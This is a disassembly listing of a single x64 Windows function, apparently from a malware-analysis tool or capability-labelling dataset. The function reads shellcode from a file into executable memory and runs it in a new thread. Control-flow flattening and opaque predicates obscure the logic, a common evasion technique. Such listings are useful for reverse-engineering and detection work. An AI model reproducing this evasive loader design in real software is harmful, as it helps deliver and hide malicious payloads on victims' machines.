Function at 0x140001540
Capabilities:
Create thread
Read file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
lea rdx, section..rdata
call sub.msvcrt.dll_fopen
mov qword [rsp + 0x50], rax
mov eax, 0x7c80ece9
lea rsi, [rsp + 0x5c]
mov r14d, 0xaa5e2f39
mov r12d, 0xc17a0ab0
mov r15d, 0xa6e07112
cmp eax, 0xd7763221
jg 0x14000159b
jmp 0x140001850
cmp ecx, 0xa
cmovge eax, edx
nop
cmp eax, 0xd7763221
jle 0x140001850
cmp eax, 0x29d606d8
jle 0x1400015e0
cmp eax, 0x558ae3f4
jle 0x14000168e
cmp eax, 0x558ae3f5
je 0x14000171c
cmp eax, 0x6c2a1d1f
je 0x140001768
cmp eax, 0x7c80ece9
jne 0x140001590
cmp qword [rsp + 0x50], 0
mov eax, 0x29d606d9
mov ecx, 0xad014dee
jmp 0x14000183a
cmp eax, 0xf852da25
jle 0x1400016ba
cmp eax, 0xf852da26
je 0x140001781
cmp eax, 0x1d68b891
je 0x1400017c5
cmp eax, 0x25e8ffe5
jne 0x140001590
mov rdx, qword [rsp + 0x38]
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r9, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x38]
mov r8d, 1
mov rcx, rbx
call sub.msvcrt.dll_fread
mov qword [rsp + 0x60], rsi
mov rax, qword [rsp + 0x60]
mov dword [rsp + 0x5c], 0
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov r8d, 4
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov rdx, rbx
call sub.msvcrt.dll_memmove
mov eax, 0xac57d215
cmp eax, 0xd7763221
jg 0x14000159b
jmp 0x140001850
cmp eax, 0x29d606d9
jne 0x1400017d7
lea rcx, str.Could_not_load_shellcode_from_file_
call sub.msvcrt.dll_perror
mov eax, 0x1d68b891
cmp eax, 0xd7763221
jg 0x14000159b
jmp 0x140001850
cmp eax, 0xd7763222
je 0x140001824
cmp eax, 0xe8a087d9
jne 0x140001590
mov eax, dword [0x140007180]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
sete cl
test eax, eax
mov eax, 0xc7753dc0
mov ebp, 0x558ae3f5
cmove eax, ebp
cmp dword [0x140007188], 0xa
setl dl
mov ebx, 0xc7753dc0
cmovge eax, ebx
xor dl, cl
cmovne eax, ebp
cmp eax, 0xd7763221
jg 0x14000159b
jmp 0x140001850
mov eax, dword [0x140007180]
mov ecx, eax
neg ecx
not ecx
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
sete cl
test eax, eax
mov eax, 0xc7753dc0
cmove eax, r15d
cmp dword [0x140007188], 0xa
setl dl
mov ebp, 0xc7753dc0
cmovge eax, ebp
xor dl, cl
cmovne eax, r15d
cmp eax, 0xd7763221
jg 0x14000159b
jmp 0x140001850
mov eax, dword [rsp + 0x4c]
mov eax, 0xc17a0ab0
cmp eax, 0xd7763221
jg 0x14000159b
jmp 0x140001850
cmp dword [rsp + 0x34], 0
sete byte [rsp + 0x32]
mov eax, dword [0x140007180]
mov ecx, dword [0x140007188]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
and eax, edx
sete dl
cmp ecx, 0xa
setl bl
xor bl, dl
mov edx, 0xd7763222
cmovne edx, r14d
test eax, eax
mov eax, edx
cmove eax, r14d
jmp 0x140001589
mov eax, 0x8113eaa3
cmp eax, 0xd7763221
jg 0x14000159b
jmp 0x140001850
cmp eax, 0x46c4f13a
jne 0x140001590
mov dword [rsp + 0x4c], r13d
mov eax, dword [0x140007180]
mov ecx, dword [0x140007188]
mov edx, eax
neg edx
not edx
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
and eax, edx
sete dl
cmp ecx, 0xa
setl bl
xor bl, dl
mov edx, 0x6c2a1d1f
cmovne edx, r12d
test eax, eax
mov eax, edx
cmove eax, r12d
jmp 0x140001589
mov eax, dword [rsp + 0x34]
mov eax, 0xf852da26
cmp eax, 0xd7763221
jg 0x14000159b
jmp 0x140001850
cmovne eax, ecx
cmp eax, 0xd7763221
jg 0x14000159b
nop dword [rax + rax]
cmp eax, 0xac57d214
jg 0x1400018b0
cmp eax, 0x9882f278
jle 0x1400018ed
cmp eax, 0x9882f279
je 0x1400019a7
cmp eax, 0xa6e07112
je 0x1400019e1
cmp eax, 0xaa5e2f39
jne 0x140001590
movzx eax, byte [rsp + 0x32]
test al, al
mov eax, 0x46c4f13a
mov ecx, 0xe8a087d9
cmovne eax, ecx
mov r13d, dword [rsp + 0x34]
cmp eax, 0xd7763221
jg 0x14000159b
jmp 0x140001850
cmp eax, 0xb335216f
jle 0x140001918
cmp eax, 0xb3352170
je 0x1400019f9
cmp eax, 0xc17a0ab0
je 0x140001a13
cmp eax, 0xc7753dc0
jne 0x140001590
mov eax, 0x558ae3f5
cmp eax, 0xd7763221
jg 0x14000159b
jmp 0x140001850
cmp eax, 0x8113eaa3
je 0x140001ad1
cmp eax, 0x86cbc3fd
jne 0x140001590
mov al, byte [rsp + 0x33]
test al, al
mov eax, 0x8113eaa3
mov ecx, 0x1d68b891
jmp 0x14000183a
cmp eax, 0xac57d215
je 0x140001a70
cmp eax, 0xad014dee
jne 0x140001590
mov rbx, qword [rsp + 0x50]
xor edx, edx
mov r8d, 2
mov rcx, rbx
call sub.msvcrt.dll_fseek
mov rcx, rbx
call sub.msvcrt.dll_ftell
mov ebp, eax
xor edx, edx
xor r8d, r8d
mov rcx, rbx
call sub.msvcrt.dll_fseek
movsxd rax, ebp
movabs rcx, 0xc1bbb19ba6e34ff6
sub rax, rcx
lea rax, [rax + rcx + 1]
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x38]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
mov eax, 0xe8a087d9
mov ecx, 0x25e8ffe5
jmp 0x14000183a
mov dword [rsp + 0x34], edi
mov rax, qword [rsp + 0x60]
mov eax, dword [0x140007180]
mov ecx, dword [0x140007188]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov ebp, 0xd7763222
mov ebx, 0xf852da26
jmp 0x140001a4f
mov eax, 0x46c4f13a
xor r13d, r13d
cmp eax, 0xd7763221
jg 0x14000159b
jmp 0x140001850
mov eax, 0x9882f279
mov edi, 1
cmp eax, 0xd7763221
jg 0x14000159b
jmp 0x140001850
cmp dword [rsp + 0x4c], 0
sete byte [rsp + 0x33]
mov eax, dword [0x140007180]
mov ecx, dword [0x140007188]
mov edx, eax
neg edx
not edx
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov ebp, 0x6c2a1d1f
mov ebx, 0x86cbc3fd
cmovne ebp, ebx
cmp edx, 0xffffffff
mov eax, ebp
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, ebp
cmp eax, 0xd7763221
jg 0x14000159b
jmp 0x140001850
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov r8d, 0x20
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rsp + 0x40]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor edi, edi
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 0x9882f279
cmp eax, 0xd7763221
jg 0x14000159b
jmp 0x140001850
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret